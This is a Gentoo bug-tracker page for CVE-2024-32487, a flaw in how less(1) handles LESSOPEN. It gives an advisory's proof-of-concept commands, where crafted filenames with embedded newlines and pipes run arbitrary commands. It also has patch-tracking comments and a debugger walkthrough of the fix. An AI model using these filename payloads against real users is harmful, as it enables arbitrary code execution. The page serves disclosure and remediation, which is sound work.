Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 929210 (CVE-2024-32487) - <sys-apps/less-643-r2: LESSOPEN handling is unsafe on untrusted names, arbitrary code execution
Summary: <sys-apps/less-643-r2: LESSOPEN handling is unsafe on untrusted names, arbitr...
Status: IN_PROGRESS
Alias: CVE-2024-32487
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: Normal normal (vote)
Assignee: Gentoo Security
URL: https://openwall.com/lists/oss-securi...
Whiteboard: A3 [glsa? cleanup]
Keywords:
Depends on: 930042
Blocks:
  Show dependency tree
 
Reported: 2024-04-12 12:34 UTC by Sam James
Modified: 2024-04-27 14:59 UTC (History)
3 users (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Sam James archtester Gentoo Infrastructure gentoo-dev Security 2024-04-12 12:34:31 UTC
"""


less(1) does not correctly escape newlines in pathnames when 
constructing command line of the input preprocessor. If a user ran 
less(1) on files with untrusted names, this could result in execution of 
arbitrary code.

The input preprocessor is enabled by the LESSOPEN environment variable.
But if you didn't set it, don't worry, because zless(1) (or xzless(1), 
or zstdless(1)) sets it for you:

    $ echo 'cowsay pwned' > './\' && touch "$(printf '\n|sh')"
    $ zless ./*
     _______
    < pwned >
     -------
            \   ^__^
             \  (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||
    ./
    |sh (file 1 of 2) (END) - Next: ./\

On Ubuntu systems, $LESSOPEN is set in ~/.bashrc by default, so the bug 
can be exploited even without the wrapper:

    $ mkdir m "$(printf '\n|m')" && touch "$(printf '\n|m/oo')" && echo 'cowsay pwned' > m/oo && chmod +x m/oo
    $ less ./*/*
     _______
    < pwned >
     -------
            \   ^__^
             \  (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||
    ./
    |m/oo (file 1 of 2) (END) - Next: ./m/oo


Upstream fix:
https://github.com/gwsw/less/commit/007521ac3c95bc76
"""
Comment 1 Sam James archtester Gentoo Infrastructure gentoo-dev Security 2024-04-12 13:52:37 UTC
The patch doesn't backport cleanly. I've started doing it manually but it's a bit messy. I've emailed upstream asking if they could consider a backport.
Comment 2 Sam James archtester Gentoo Infrastructure gentoo-dev Security 2024-04-12 21:14:11 UTC
Upstream sent a patch I will test in a bit, quite tired atm so I don't want to do it yet.
Comment 3 Larry the Git Cow gentoo-dev 2024-04-14 00:49:30 UTC
The bug has been referenced in the following commit(s):

https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=e9856cc39c2e0ee09e32358b23a120d855e4953c

commit e9856cc39c2e0ee09e32358b23a120d855e4953c
Author:     Sam James <sam@gentoo.org>
AuthorDate: 2024-04-14 00:47:11 +0000
Commit:     Sam James <sam@gentoo.org>
CommitDate: 2024-04-14 00:49:11 +0000

    sys-apps/less: fix LESSOPEN escape vulnerability
    
    Special thanks to the less upstream maintainer, Mark Nudelman, for providing
    us with a backport to 643.
    
    Bug: https://bugs.gentoo.org/929210
    Signed-off-by: Sam James <sam@gentoo.org>

 sys-apps/less/files/less-643-LESSOPEN-escape.patch | 61 ++++++++++++++
 sys-apps/less/less-643-r2.ebuild                   | 97 ++++++++++++++++++++++
 2 files changed, 158 insertions(+)
Comment 4 mehw 2024-04-17 04:07:37 UTC
(In reply to Sam James from comment #2)
> Upstream sent a patch I will test in a bit, quite tired atm so I don't want
> to do it yet.

Hello,

I had to wrap my mind around the issue...

So, I'm posting this hoping that it could be useful to others.

I did a brief observation of less-643/filename.c, before (r1) and after patching (r2):
- open_altfile()
- shellcmd()

===

$ touch "$(printf '\n|sh')"
$ echo 'cowsay pwned' > '\'
$ ls -1 -b
\n|sh
\\

zless ends up with `export LESSOPEN="||-gzip -cdfq -- %s"` before calling less.

$ LESSOPEN="||-gzip -cdfq -- %s" gdb less
(gdb) break open_altfile
(gdb) break shellcmd
(gdb) r ./*

---

sys-apps/less-643-r1, zless before patching:

filename = "./\n|sh"
qfilename = "./\\\n\\|sh"
cmd = "gzip -cdfq -- ./\\\n\\|sh"
scmd = "/bin/bash -c gzip\\ -cdfq\\ --\\ ./\\\\\\\n\\\\\\|sh"

Translates to:

"/bin/bash -c gzip -cdfq -- ./\\n\\|sh"

hence:

$ gzip -cdfq -- ./\
> \\|sh

i.e. force gunzip the file '\' to stdout quietly and pipe the result to sh:

$ gzip -cdfq -- '\' | sh

---

sys-apps/less-643-r2, zless after patching:

filename = "./\n|sh"
qfilename = "./\"\n\"\\|sh"
cmd = "gzip -cdfq -- ./\"\n\"\\|sh"
scmd = "/bin/bash -c gzip\\ -cdfq\\ --\\ ./\\\"\"\n\"\\\"\\\\\\|sh"

Translates to:

"/bin/bash -c gzip -cdfq -- ./$'\n'\|sh"

where "./$'\n'\|sh" is a file.

===

$ mkdir "$(printf '\n|m')" && touch "$(printf '\n|m/oo')"
$ mkdir m && echo 'cowsay pwned' > m/oo && chmod +x m/oo
$ tree
.
├── \012|m
│   └── oo
└── m
    └── oo

$ LESSOPEN="|lesspipe %s" gdb less
(gdb) break open_altfile
(gdb) break shellcmd
(gdb) r ./*/*

---

sys-apps/less-643-r1, less before patching:

filename = "./\n|m/oo"
qfilename = "./\\\n\\|m/oo"
cmd = "lesspipe ./\\\n\\|m/oo"
scmd = "/bin/bash -c lesspipe\\ ./\\\\\\\n\\\\\\|m/oo"

Translates to:

"/bin/bash -c lesspipe ./\\n\\|m/oo"

hence:

$ lesspipe ./\
> \\|m/oo

i.e. call lesspipe for the file '\' and pipe the result to the script m/oo:

$ lesspipe '\' | m/oo

---

sys-apps/less-643-r2, less after patching:

filename = "./\n|m/oo"
qfilename = "./\"\n\"\\|m/oo"
cmd = "lesspipe ./\"\n\"\\|m/oo"
scmd = "/bin/bash -c lesspipe\\ ./\\\"\"\n\"\\\"\\\\\\|m/oo"

Translates to:

"/bin/bash -c lesspipe ./$'\n'\|m/oo"

where "./$'\n'\|m/oo" is a nested file.

===

Thanks.